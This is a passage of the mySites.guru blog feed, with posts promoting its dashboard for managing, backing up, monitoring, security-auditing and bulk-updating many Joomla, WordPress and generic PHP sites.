&lt;p&gt;Once connected, your generic PHP site appears alongside your Joomla and WordPress sites in the same dashboard. You manage everything from one place.&lt;/p&gt;
&lt;h2&gt;What tools work with generic PHP sites?&lt;/h2&gt;
&lt;p&gt;You get the same toolset you’d get with a Joomla or WordPress site. Nothing is cut down or restricted.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; collects server details, PHP configuration, disk usage, and database stats. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;full security audit&lt;/a&gt; scans every line of every file in your webspace looking for hacks and malicious code. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;suspect content tools&lt;/a&gt; flag anything suspicious and let you view, edit, or delete flagged files directly.&lt;/p&gt;
&lt;p&gt;You can also connect &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt; and use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;trigger periodic backups&lt;/a&gt; of your webspace. With the Professional version, you can push those backups to remote storage like Dropbox or sFTP.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru audit results for a generic PHP site showing file scan progress and flagged suspect files&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;823&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.14.38-1024x823.B6AB3NZC_1GhSRO.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.14.38-1024x823.B6AB3NZC_Z18rc2h.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.14.38-1024x823.B6AB3NZC_ZVHdML.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.14.38-1024x823.B6AB3NZC_2o3KN.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.14.38-1024x823.B6AB3NZC_1GhSRO.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Is uptime monitoring included for free?&lt;/h2&gt;
&lt;p&gt;Every site you add to mySites.guru gets &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;free uptime monitoring&lt;/a&gt; powered by our own monitoring engine. No third-party service, no extra cost.&lt;/p&gt;
&lt;p&gt;mySites.guru alerts you when your site goes offline and again when it comes back. If you ever get an alert but the site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;here’s why that happens&lt;/a&gt;. Response times are logged so you can spot performance trends and catch problems before your users do.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru uptime monitoring dashboard showing response time graph and uptime percentage for a connected PHP site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;533&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.16.21-1024x533.HBEYwxtJ_1xtXmJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.16.21-1024x533.HBEYwxtJ_Z6I8Y4.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.16.21-1024x533.HBEYwxtJ_1UatEH.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.16.21-1024x533.HBEYwxtJ_BiTLy.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.16.21-1024x533.HBEYwxtJ_1xtXmJ.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do backups work with Akeeba Backup Solo?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; is well known in the Joomla world, but the same backup engine is available as a standalone product called &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt;. It works on any PHP webspace, no CMS required.&lt;/p&gt;
&lt;p&gt;Once installed, mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule and trigger backups&lt;/a&gt; on whatever interval you need. Daily, weekly, or triggered by specific events. The Professional edition adds remote push to Dropbox, Amazon S3, sFTP, and other storage backends.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup schedule configuration screen showing Akeeba Backup Solo integration options for a generic PHP site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;585&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-20.36.54-1024x585.DNPdAc8W_ZG5kP0.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-20.36.54-1024x585.DNPdAc8W_gjL8g.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-20.36.54-1024x585.DNPdAc8W_1Js3lR.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-20.36.54-1024x585.DNPdAc8W_ydIyQ.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-20.36.54-1024x585.DNPdAc8W_ZG5kP0.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do security audits work for any PHP application?&lt;/h2&gt;
&lt;p&gt;The security audit is where mySites.guru really earns its keep on generic PHP sites. Most security tools are built for WordPress or Joomla specifically. They know what core files should look like and flag changes. But what about a Laravel app, a custom CMS, or a legacy PHP codebase? Those don’t have a “core” to compare against.&lt;/p&gt;
&lt;p&gt;mySites.guru’s audit doesn’t rely on knowing your CMS. It scans every file in your webspace and looks for patterns that indicate malicious code: base64-encoded payloads, eval statements, obfuscated variables, known backdoor signatures, and more. If someone has injected code into any file on your server, the audit will flag it.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; on critical files. If anything changes, you get an email immediately.&lt;/p&gt;
&lt;h2&gt;What types of PHP applications work?&lt;/h2&gt;
&lt;p&gt;Anything that runs on a standard PHP hosting environment. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Drupal&lt;/strong&gt; - full audit and backup support, uptime monitoring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prestashop&lt;/strong&gt; - scan your e-commerce files for injected payment skimmers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Magento / Adobe Commerce&lt;/strong&gt; - monitor a complex codebase for unauthorized changes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Laravel&lt;/strong&gt; - audit deployed applications alongside your WordPress and Joomla sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom PHP applications&lt;/strong&gt; - legacy systems, bespoke CRMs, internal tools&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static sites with PHP contact forms&lt;/strong&gt; - even minimal PHP sites benefit from file monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector doesn’t care what framework you use. It just needs PHP and a database connection for caching.&lt;/p&gt;
&lt;h2&gt;How do you manage a mixed portfolio?&lt;/h2&gt;
&lt;p&gt;Most agencies don’t run a single CMS. You’ve got clients on WordPress, a few legacy Joomla sites, maybe a custom Laravel app for an internal tool, and a Drupal site that no one wants to touch.&lt;/p&gt;
&lt;p&gt;Before mySites.guru, that meant separate dashboards, separate monitoring tools, and separate backup workflows for each platform. Now everything lives in one place.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; flag common configuration problems across all your sites. PHP version too old? Debug mode left on? Weak file permissions? You’ll see it for your generic PHP sites the same way you see it for WordPress and Joomla.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;Connecting your first generic PHP site takes a few minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to mySites.guru and use the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Select “Generic PHP” and download the connector&lt;/li&gt;
&lt;li&gt;Upload the connector to your server’s &lt;code&gt;/bfnetwork&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Enter your database credentials in the wizard&lt;/li&gt;
&lt;li&gt;Run your first snapshot and audit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From there, you can schedule backups, enable uptime monitoring, and set up file change alerts - the same workflow you’d use for a Joomla or WordPress site.&lt;/p&gt;
&lt;p&gt;For a broader look at monitoring strategy across a mixed portfolio, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first PHP site and see what mySites.guru finds.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>monitoring</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites Like a Pro</title><link>https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</guid><description>Practical tips for managing multiple WordPress sites efficiently, covering centralised dashboards, backup strategies, security hardening and team workflows.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Once you’re past about five WordPress sites, the cracks start showing. You forget which ones you’ve updated, backups slip, and you only find out about a security issue when a client asks why their site is redirecting to a pharmacy.&lt;/p&gt;
&lt;p&gt;Here’s what actually works when you’re managing lots of sites, based on over a decade of doing this myself.&lt;/p&gt;
&lt;h2&gt;Get everything into one dashboard&lt;/h2&gt;
&lt;p&gt;Logging into each site individually is the first thing that has to go. You need a single place that shows you update counts, security status, and uptime across every site.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; does this for unlimited WordPress, Joomla, and PHP sites at a flat monthly price. There are other options like ManageWP and MainWP too, but they tend to charge per site, which gets expensive fast when you’re managing hundreds. For a deeper look at what a proper setup covers, see the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;p&gt;Whatever you pick, stop using browser bookmarks as your “management system”.&lt;/p&gt;
&lt;h2&gt;Automate backups&lt;/h2&gt;
&lt;p&gt;Manual backups don’t happen. Everyone says they’ll do them weekly, no one actually does. Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; and forget about them. mySites.guru lets you &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule backups across thousands of sites&lt;/a&gt; using Akeeba Backup or All-In-One Migration.&lt;/p&gt;
&lt;p&gt;The important bit: test your restores occasionally. A backup you’ve never tested is just a file that makes you feel better.&lt;/p&gt;
&lt;h2&gt;Update in bulk&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Outdated plugins&lt;/a&gt; are the number one way WordPress sites get hacked. That’s not opinion, it’s what I see across the 90,000+ sites connected to mySites.guru.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk updates&lt;/a&gt; let you push plugin, theme, and core updates to every site at once. You still need to pay attention to what you’re updating, especially major version jumps like &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 “Armstrong”&lt;/a&gt;, but the days of clicking “Update” on each site individually should be behind you. If you want full control, you can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable WordPress automatic updates&lt;/a&gt; across all your sites from the dashboard so nothing changes without your say-so. See the full walkthrough on how to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress sites&lt;/a&gt; if you want the step-by-step detail.&lt;/p&gt;
&lt;h2&gt;Security goes deeper than a plugin&lt;/h2&gt;
&lt;p&gt;Installing Wordfence is fine, but it’s surface-level. Real security means &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;scanning every file in your webspace&lt;/a&gt; for things that shouldn’t be there: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoors, injected code, modified core files&lt;/a&gt;. If you’re still thinking of site management as just updates and backups, &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;it covers a lot more ground than that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You also want &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change unexpectedly or someone logs into an admin panel. Finding a hack three months after it happened is significantly worse than catching it the same day. And when you do need to jump in, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you into any site’s admin console without hunting for credentials.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; are easy wins that most people skip.&lt;/p&gt;
&lt;h2&gt;Teams need their own logins&lt;/h2&gt;
&lt;p&gt;If your whole agency shares one mySites.guru login, or worse, one WordPress admin password across all client sites, stop. Give everyone &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;their own account&lt;/a&gt; with appropriate permissions. It’s free with mySites.guru and means you can actually see who did what.&lt;/p&gt;
&lt;h2&gt;Audit your sites regularly&lt;/h2&gt;
&lt;p&gt;Not just for SEO. Check for &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice issues&lt;/a&gt;, PHP version compatibility, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space warnings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and admin customisations like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot runs over 100 checks&lt;/a&gt; on each connected site, twice a day. You can also &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; right now to see what it finds.&lt;/p&gt;
&lt;h2&gt;The short version&lt;/h2&gt;
&lt;p&gt;Get a proper dashboard, automate your backups, update in bulk, scan deep for security issues, and give your team their own access. That’s it. None of this is complicated. The hard part is actually setting it up instead of telling yourself you’ll get to it next week.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the complete approach, see our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/how-to-manage-multiple-wordpress-sites-like-a-pro.webp" length="0" type="image/webp"/></item><item><title>Upgrade 100s of Sites from One Dashboard</title><link>https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</guid><description>Run core and extension updates across hundreds of Joomla and WordPress sites from the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the most popular reasons for using &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is being able to upgrade Joomla and WordPress core across all your sites without logging into each one individually. Here’s how the process works: back up, upgrade, verify.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 225px) 225px, 100vw&quot; width=&quot;225&quot; height=&quot;279&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-11-03-at-18.58.21.tcOB_72z_wKj11.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-11-03-at-18.58.21.tcOB_72z_wKj11.webp 225w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After logging in, the left menu shows how many &lt;a href=&quot;https://manage.mysites.guru/en/sites/coreoutofdate&quot;&gt;Core Updates&lt;/a&gt; are needed. In this example, 15 sites need a core update (and 59 plugins/extensions, but we’ll focus on core for now).&lt;/p&gt;
&lt;p&gt;Go to the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;Scheduled Backups page&lt;/a&gt; and open the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;schedules tab&lt;/a&gt;. For Joomla, mySites.guru uses &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; (free or paid, both work). You can back up one site at a time or click “Start Backup Of All Sites” to queue them all at once.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Recent mySites.guru backups for WordPress and Joomla&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;413&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.19.25-1024x413.BDMlvANp_Z1JsJlN.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.19.25-1024x413.BDMlvANp_1FSMNY.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.19.25-1024x413.BDMlvANp_1eCGOg.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.19.25-1024x413.BDMlvANp_2vYjHV.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.19.25-1024x413.BDMlvANp_Z1JsJlN.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Backups are queued and run in the background - you don’t need to stay on the page. Once you’re happy everything is backed up, move to the upgrades. &lt;em&gt;(Periodically test your restores too - an untested backup is just a file that makes you feel better.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Open the “&lt;a href=&quot;https://manage.mysites.guru/en/upgrade/sites/en-masse&quot;&gt;Mass Upgrade Sites&lt;/a&gt;” tool. It fetches available upgrade paths from your sites, which takes a few seconds. Select individual sites or click “Select All,” then hit the green button.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Mass Upgrade Sites To The Latest Version&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;633&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.20.46-1024x633.DDIDX_ja_Z214dST.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.20.46-1024x633.DDIDX_ja_2fJoqM.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.20.46-1024x633.DDIDX_ja_Z1XyOG4.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.20.46-1024x633.DDIDX_ja_ZULiUt.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.20.46-1024x633.DDIDX_ja_Z214dST.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Each upgrade is queued in the background and you’re taken to the status page to watch progress. You can do small batches or select everything - that’s your call based on how comfortable you are with the risk.&lt;/p&gt;
&lt;p&gt;Once upgrades are done, &lt;a href=&quot;https://manage.mysites.guru/en/backups/&quot;&gt;run a new backup&lt;/a&gt; and &lt;a href=&quot;https://manage.mysites.guru/en/audits/#scheduleaudits&quot;&gt;start a fresh audit&lt;/a&gt; to verify everything is healthy. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;remove leftover fluff files from Joomla automatically&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The same process works for WordPress sites not using WordPress’s built-in auto-updates. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;. For Joomla, the &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk update Joomla&lt;/a&gt; page covers the same ground.&lt;/p&gt;
&lt;p&gt;If you’d rather delegate this to someone else, you can &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;add unlimited team members&lt;/a&gt; to your mySites.guru account and assign them the upgrade task.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk updates are covered in detail in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>bulk actions</category><category>dashboard</category><enclosure url="https://mysites.guru/img/og/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard.webp" length="0" type="image/webp"/></item><item><title>Test Site Performance With Lighthouse</title><link>https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</guid><description>Run Google Lighthouse performance audits against any of your connected Joomla or WordPress sites directly from within the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;We no longer provide built-in Lighthouse Performance Audits&lt;/p&gt;&lt;div&gt;&lt;p&gt;Google’s Lighthouse tooling has matured to the point where it no longer makes sense for us to wrap it as a micro-service. You can run the same audits directly through the official &lt;a href=&quot;https://pagespeed.web.dev/&quot;&gt;PageSpeed Insights&lt;/a&gt; service from Google, it’s free, always up to date, and gives you the full Lighthouse report.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;p&gt;Performance auditing is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete site monitoring guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>performance</category><category>lighthouse</category><category>audit tools</category><enclosure url="https://mysites.guru/img/og/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Auto-Upgrade 1000s of Plugins &amp; Extensions</title><link>https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</guid><description>Update Joomla extensions, WordPress plugins, and CMS cores across all your sites from one mySites.guru dashboard. Select all, click upgrade, done.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve already written about &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for Joomla extensions&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;the step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;removing fluff files after updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions and plugins&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrading from one dashboard&lt;/a&gt;. Here’s how all of that fits together in practice - and why updates are one of the most-used &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; in the dashboard.&lt;/p&gt;
&lt;h2&gt;How do you mass upgrade Joomla and WordPress from one dashboard?&lt;/h2&gt;
&lt;p&gt;Select all your out-of-date Joomla or WordPress sites, click “Start Upgrades For Selected Sites,” and go make a coffee.&lt;/p&gt;
&lt;p&gt;mySites.guru queues each site, downloads the right update package, extracts files on your server, and runs post-install tasks. If you’ve turned on &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff file removal&lt;/a&gt; for Joomla, that happens automatically too.&lt;/p&gt;
&lt;p&gt;Doesn’t matter if it’s one site or a hundred. The &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk update Joomla&lt;/a&gt; page has the overview.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru dashboard showing the mass upgrade interface with select-all checkbox and Start Upgrades button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;652&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.07.29-1024x652.Th_xFiHQ_Z7WeJI.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.07.29-1024x652.Th_xFiHQ_2c8zbK.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.07.29-1024x652.Th_xFiHQ_29wHHW.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.07.29-1024x652.Th_xFiHQ_13UNyR.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.07.29-1024x652.Th_xFiHQ_Z7WeJI.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do you enable auto-updates for any Joomla extension?&lt;/h2&gt;
&lt;p&gt;Any update stream in mySites.guru can be flagged for automatic updates. Say you have &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; installed - when a new version comes out, mySites.guru queues the update without you lifting a finger.&lt;/p&gt;
&lt;p&gt;You can enable this per site, or flip it on across every site that has a given extension. Works with any Joomla extension, not just Akeeba.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru extension list with auto-update toggle enabled for Akeeba Backup&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;468&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_ZXblL7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z17DYGJ.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z1aiuI9.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Viewing and Applying WordPress Plugin Updates&lt;/h2&gt;
&lt;p&gt;On the Manage Site page, you’ll see all available plugin updates for WordPress (and Joomla). Release notes from the developer are right there, and you can apply the update with one click.&lt;/p&gt;
&lt;p&gt;Current versions show in red, available versions in green. You can see the exact upgrade path before you commit to anything.&lt;/p&gt;
